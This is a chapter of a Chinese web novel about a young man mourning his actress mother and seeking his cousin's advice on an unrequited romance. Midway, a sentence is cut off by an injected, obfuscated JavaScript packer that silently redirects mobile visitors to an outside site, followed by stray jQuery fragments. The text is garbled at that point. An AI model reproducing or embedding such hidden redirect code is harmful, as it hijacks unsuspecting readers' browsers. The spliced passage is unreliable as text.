李暮云兀自琢磨了会,回顾方才孟回的语气,他感觉对方虽然混不吝地呛自己,但似乎是对自己有些怒气。他不懂孟回生气的点在哪里,他没精力去懂,孟回当然也不懂他暴怒的点,只觉得他这怒火来得毫无缘由。
他最近过得有些混乱。
妈妈临终前,他一直陪着,他与妈妈感情算不得多好,独自在英国六年,谢少容与他渐渐变成了陌生人。在疗养院陪伴的这些时日,他由最开始的些许难过逐渐变成了麻木。
妈妈的精神好一阵差一阵,差的时候,她谁也不认识,只神情呆滞地喃喃自语,偶尔有清醒的时候,会主动跟他提起从前的日子——大部分都是跟爸爸结婚之前,只有这个时候,妈妈的脸上会短暂地出现一些色彩。
他默不作声地陪伴、观察自己的妈妈,惊觉自己的回忆也不甚清晰,父母对他来说只是一个概念,并没有多少实感。后来没人限制他,他也曾独自看了许多妈妈的作品,屏幕中的谢少容明艳、鲜活,光芒万丈,与他记忆中的母亲完全无法重合。
他想,他更加熟悉并爱着的大概是屏幕中那个遥远的母亲。
大概是在三五岁的时候,他在电视上偶然看到妈妈,第一次见到那么光彩照人的谢少容,小小的李暮云一眼就认出来了,他一下子被吸引住了,一动不动盯着电视机。他只看自己的妈妈,他看不懂剧情,也不想看到其他人,一双眼睛牢牢地叨住妈妈,他只是觉得,电视上的妈妈真美啊,就像天上的月亮。
电影播完后,他意犹未尽,忽然想起来去找妈妈,他迫不及待地想要去到她身边,抱抱她,摸摸她,他想要验证那个美好的人就是他的妈妈,他甚至隐隐期待着,或许他今天就能戳破这个事实,让他妈妈变回电视上的样子呢。
一路小跑出了房间,在不大不小的院子里转了一圈,小小的脑袋瓜快速思考,妈妈现在会在哪呢,要么就在徐阿姨家打牌,要么就在林阿姨家,最坏的结果是出去喝酒了,要是那样的话,一时半会可就难找到了。
家里阿姨在身后喊他,让他不要跑远了,他匆匆答应,飞跑着出去了,刚出院门,大伯家的堂哥李行舟下了车。李行舟比他大十二岁,当时也是个小少年,堵住他的去路将他一把抱起来,先是香香地亲了个够,随后把脑袋靠在他小小的胸膛上,听他砰砰的心跳。
李暮云被哥哥毛茸茸的大脑袋蹭得痒痒,咯咯笑着要下来。
“干什么去呀小暮云?怎么这么着急忙慌的?”
“我找妈妈去!”李暮云心里揣着事儿呢,因此就算是见了最喜欢的哥哥,也一时半会分不出精力去理他,他现在只想马上见到妈妈。
“小婶婶又去哪了?”李行舟皱眉发问。
李暮云没理哥哥,被松开后马上跑远了。他太兴奋了,他从来没有见到过那样的妈妈,那么生动,那么耀眼,那么......幼小的他不知道该怎么形容,总之这个发现令他热血沸腾。
凭着记忆,他跑了几家邻居,都没有找到妈妈,这时候他开始有点失望了,如果没在邻居家,那妈妈一定是自己一个人出去喝酒了,这样的话要好几天都见不到了......其实妈妈在家的时候也是不怎么理自己的,甚至一直都是或冷淡或横眉冷对,有时候还会小小地揍自己——当然不算疼——但他还是有点怕。所以刚才电视上的模样才让他像是发现了新大陆一样,他想,电视机里一定才是妈妈原本的模样。
兴致缺缺地回了家,李行舟在正坐在客厅沙发上,翘着个二郎腿等他,旁边卸下一堆玩具、画册、好吃的,摆了满满一茶几。他不太摸得清李暮云喜欢啥,这个年纪的小孩子,喜欢都是很短暂的,索性多买点,总有那么几样能误打误撞哄他开心,他真是特别喜欢这个小堂弟,白嫩可爱,招人怜爱。
李暮云也特别喜欢他,哥哥是那个家里唯一对自己好的人,见到哥哥和礼物,他眼里马上有了光,蹦蹦跳跳地窜到他怀里,一边拆礼物一边絮絮叨叨跟他讲自己的新发现,李行舟很有耐心,在他一言一语中拼凑出了事情原委,于是也笑着打趣:
“你刚刚出去找了这么久,没把小婶婶找回来吗?”
“没有,徐阿姨和林阿姨家,还有安安姐姐家我都问过了,妈妈没在那里。”
“唔......那......”
“哥哥,我在电视里看到了妈妈,好漂亮好漂亮的妈妈!”李暮云眼里亮晶晶的,兴奋跟他诉说。
...........
小时候的记忆到此为止,基本上忘得差不多了,唯独这段很是清晰。后来他被送到英国读中学,谢少容最开始还展露了一丝母性的光辉,也跟着过去了,说是怕儿子在外边没人照顾,过得不好,但她在他身边呆了不到半年就受不了了,她英文不算好,也没有熟人,呆得无比难受,只好暂时放弃当一个好妈妈,急切地回了国。
至于亲爹李淮海则没有一点好说的,李暮云只当他不存在,这也是妈妈反复对他强调的。
虽然从妈妈那里得来的关爱有限,但毕竟是妈妈,他回国后在疗养院看到她,还是不由自主地心头一紧,妈妈似乎比五年前老了许多,五年前的妈妈虽然也算不得青春,但整体还保有一定的活力与热血,会心情不好,会时不时折腾一下,让李家那边难受难受,这会却完全失去了生机,整个人成了逆来顺受的枯萎样貌。
妈妈很少能认出他来,偶尔能认出来的时候,他会陪着她看电影,就看她以前拍过的片子,反复观赏。李暮云小时候没什么机会看,妈妈抗拒这些,发现他偷看就会大发脾气,到了这时候,她才终于接受了现实,接受自己再也回不到当年,接受那些光环已成过往云烟,也终于心安理得地沉浸在回忆里。
“阿云,你看,这是妈妈20岁那年,导演带着我们去德国领奖时拍的,《阿南》是妈妈拍的第一部电影,刚筹备时我才18岁,比你现在还要小,那会儿什么也不懂,就觉得一切都很新奇......”
“你一定想象不到吧,妈妈竟然还有那种意气风发的时刻。”谢少容摩挲着相框,回忆起往昔,言语里满含温柔和怀念,李暮云静静听着,几乎要被她眼里的光感染,并感同身受地为她唏嘘痛苦了。
他一个人在国外的时候,不怎么关注国内动向,还是朋友提醒他看的新闻:谢少容回国后不就在圈子里闹出了一番不小的动静,想要复出,逼着李淮海找人投钱,为她量身定做了一个剧本,却又在开机当天跟导演决裂,当众扇了导演一巴掌,那段时间她跟疯了一样,没人知道她到底想干嘛,平白引起路人一番回忆和铺天盖地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15533131|170860||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的嘲讽。再后来就彻底不再折腾了,从那次事故到住进疗养院,也就几年时间。
............
李暮云听着妈妈的絮叨,脑海中有一搭没一搭地插播这些片段,像是在看别人的故事。
上个月,妈妈终于走完了遗憾的一生。
说不上难过还是别的,他只是产生了一阵强烈的无意义的感觉。
李行舟倒是频繁跟他接触,听那意思,家里似乎有心给他机会表现——大概是李家太过庞大,而人丁又始终算不上兴旺。
这种无意义感持续不退,他认为自己需要时间清理。
李行舟今天难得有点空闲,有心与这弟弟亲近亲近,来他家里坐坐,顺便关照一下他的生活,刚到门口就听他一通表白,说起来这还是李暮云第一次表达这种想法,这个堂弟回国后就跟变了个人一样,越发沉默寡言,跟自己也不亲了,感情上的事更是从来不提。李行舟还当他是个禁欲的小古板,今天一看倒是觉得稀奇。
见弟弟一脸苦恼,李行舟越发觉得有趣,追问道:
“是感情进展不顺吗?”
李暮云:“嗯。他不接受我。”
李行舟微微吃惊:“是个直的?”
李暮云:“不是。”
李行舟更觉不可思议,他认为凭借自己弟弟的条件,只要是他喜欢的,除非是直的,否则绝无可能不被接受——他并不认为自己对李暮云过于自信,事实上他会这么认为确实有很强的支撑。
再看李暮云沉思的脸,李行舟自豪地想:其实就算是直的也未必不能得手。
总归李暮云这么多年一直游离在家族之外,看他自己也没什么跟李家牵扯的打算,这样也好,至少自由。出于个人原因,李行舟实在是过分疼爱这个比自己小一轮的堂弟,因此真情实感地希望他自由快乐,只要不违法犯罪,他愿意尽一切可能保障李暮云的快乐和自由。
“第一次谈感情就要吃苦吗?这可不成。”李行舟发话了。
李暮云仍旧是皱着眉头,还在回味孟回身上的红痕,听到哥哥的话,他才开口:“他不接受我,是因为刚跟男朋友分手。可是他接受了别人。”
李行舟:“居然如此?”
李暮云:“他为什么可以喜欢别人,却不喜欢我。”
李行舟:“是啊,这没可能。”
兄弟二人一个迷惑,一个苦恼,把孟回的心思反复研究。最后李行舟提出意见:
“既然你对这个人这么上心,那就不要让给别人。你想要什么得不到?区区一个男人——”
李暮云对这话不置可否,对孟回他是真喜欢,虽然不明缘由,但确实可以称得上日思夜想,前段时间因为要陪妈妈,他并没有精力去纠缠这些,如今事情告一段落,他的生活眼瞅着重归无聊,还没来得及主动找他,他倒是忽然自动出现了,只不过出现得场合太让人生气。
李暮云骤然见他这样,心中一阵怒火,他认为自己爱他,可他轻视并且辜负了自己的爱,这确实值得生气,但转念一想,自己的爱到底是不是正确的呢,他并不会爱,于是他虚心向李行舟请教。
李行舟回答:“爱是占有。”
李行舟又补充:“爱是很自私的,你可以更进一步。”